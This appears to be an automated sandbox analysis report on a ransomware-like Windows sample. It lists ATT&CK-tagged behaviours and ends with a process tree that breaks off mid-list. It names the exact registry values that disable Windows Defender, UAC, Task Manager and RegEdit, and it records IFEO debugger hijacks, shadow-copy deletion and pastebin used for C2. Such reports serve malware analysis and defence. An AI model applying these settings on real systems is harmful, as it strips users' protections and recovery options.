d8fce9dd9c65ca143343f7711859a7cffc3c5e656a8b84108183fb769a12ed8b

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

Modifies security service 2 TTPs 1 IoCs

Modify Registry

Windows Service

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	reg.exe

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies boot configuration data using bcdedit 1 TTPs 25 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2736	bcdedit.exe
2920	bcdedit.exe
3788	bcdedit.exe
716	bcdedit.exe
1632	bcdedit.exe
736	bcdedit.exe
4964	bcdedit.exe
3088	bcdedit.exe
3876	bcdedit.exe
2136	bcdedit.exe
1472	bcdedit.exe
1552	bcdedit.exe
4016	bcdedit.exe
1040	bcdedit.exe
2212	bcdedit.exe
3136	bcdedit.exe
1668	bcdedit.exe
736	bcdedit.exe
4964	bcdedit.exe
3708	bcdedit.exe
3188	bcdedit.exe
4492	bcdedit.exe
1668	bcdedit.exe
3876	bcdedit.exe
3380	bcdedit.exe

Blocks application from running via registry modification 1 IoCs

Adds application to list of disallowed applications.

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe

Disables RegEdit via registry modification 1 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-112184765-1670301065-1210615588-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
defense_evasion
Disables use of System Restore points 1 TTPs
defense_evasion

Inhibit System Recovery
T1490

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "C:\\Windows\\System32\\svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger = "cmd.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "C:\\Windows\\System32\\svchost.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "cmd.exe"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe	reg.exe

Indicator Removal: Network Share Connection Removal 1 TTPs 2 IoCs

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.

Network Share Connection Removal

T1070.005

pid	Process
3068	net.exe
432	net1.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
8	netsh.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
2	pastebin.com
20	pastebin.com
21	pastebin.com

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3676	msedge.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1984	sc.exe
4916	sc.exe
3088	sc.exe
1852	sc.exe
2796	sc.exe
2200	sc.exe
2352	sc.exe
2560	sc.exe
716	sc.exe
1360	sc.exe
2184	sc.exe
2820	sc.exe
4820	sc.exe
3336	sc.exe
2760	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CentralProcessor\0	chrome.exe

Enumerates system info in registry 2 TTPs 19 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

Interacts with shadow copies 3 TTPs 3 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2044	vssadmin.exe
3188	vssadmin.exe
332	vssadmin.exe

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-112184765-1670301065-1210615588-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-112184765-1670301065-1210615588-1000_Classes\Local Settings	cmd.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-112184765-1670301065-1210615588-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-112184765-1670301065-1210615588-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-112184765-1670301065-1210615588-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
3108	NOTEPAD.EXE
2428	NOTEPAD.EXE

Runs net.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
2248	chrome.exe
2248	chrome.exe
716	powershell.exe
716	powershell.exe
716	powershell.exe
3276	chrome.exe
3276	chrome.exe
3276	chrome.exe
3276	chrome.exe
1660	msedge.exe
1660	msedge.exe
1508	msedge.exe
1508	msedge.exe
4500	msedge.exe
4500	msedge.exe
948	msedge.exe
948	msedge.exe
5244	powershell.exe
5244	powershell.exe
5244	powershell.exe
1040	msedge.exe
1040	msedge.exe
2452	msedge.exe
2452	msedge.exe
5356	msedge.exe
5356	msedge.exe
3676	msedge.exe
3676	msedge.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5404	msinfo32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
2452	msedge.exe
2452	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe
Token: SeShutdownPrivilege	2248	chrome.exe
Token: SeCreatePagefilePrivilege	2248	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
952	WindowsTerminal.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe

Suspicious use of SendNotifyMessage 60 IoCs

pid	Process
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
2248	chrome.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
1508	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
948	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
2452	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe
3676	msedge.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
952	WindowsTerminal.exe
6092	WindowsTerminal.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 3108	2356	cmd.exe	78
PID 2356 wrote to memory of 3108	2356	cmd.exe	78
PID 2248 wrote to memory of 4932	2248	chrome.exe	82
PID 2248 wrote to memory of 4932	2248	chrome.exe	82
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4432	2248	chrome.exe	83
PID 2248 wrote to memory of 4116	2248	chrome.exe	84
PID 2248 wrote to memory of 4116	2248	chrome.exe	84
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85
PID 2248 wrote to memory of 4696	2248	chrome.exe	85

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\test.txt
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\test.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3108

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2248
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0xe4,0x108,0x7ff82cf0cc40,0x7ff82cf0cc4c,0x7ff82cf0cc58
  2⤵
  PID:4932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1772,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=1744 /prefetch:2
  2⤵
  PID:4432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2036,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2132 /prefetch:3
  2⤵
  PID:4116
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=1356,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2204 /prefetch:8
  2⤵
  PID:4696
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3088,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3252 /prefetch:1
  2⤵
  PID:2196
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3284 /prefetch:1
  2⤵
  PID:1340
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3552,i,17861774200348228700,711109505159770159,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4336 /prefetch:1
  2⤵
  PID:5096
- C:\Program Files\Google\Chrome\Application\chrome.exe
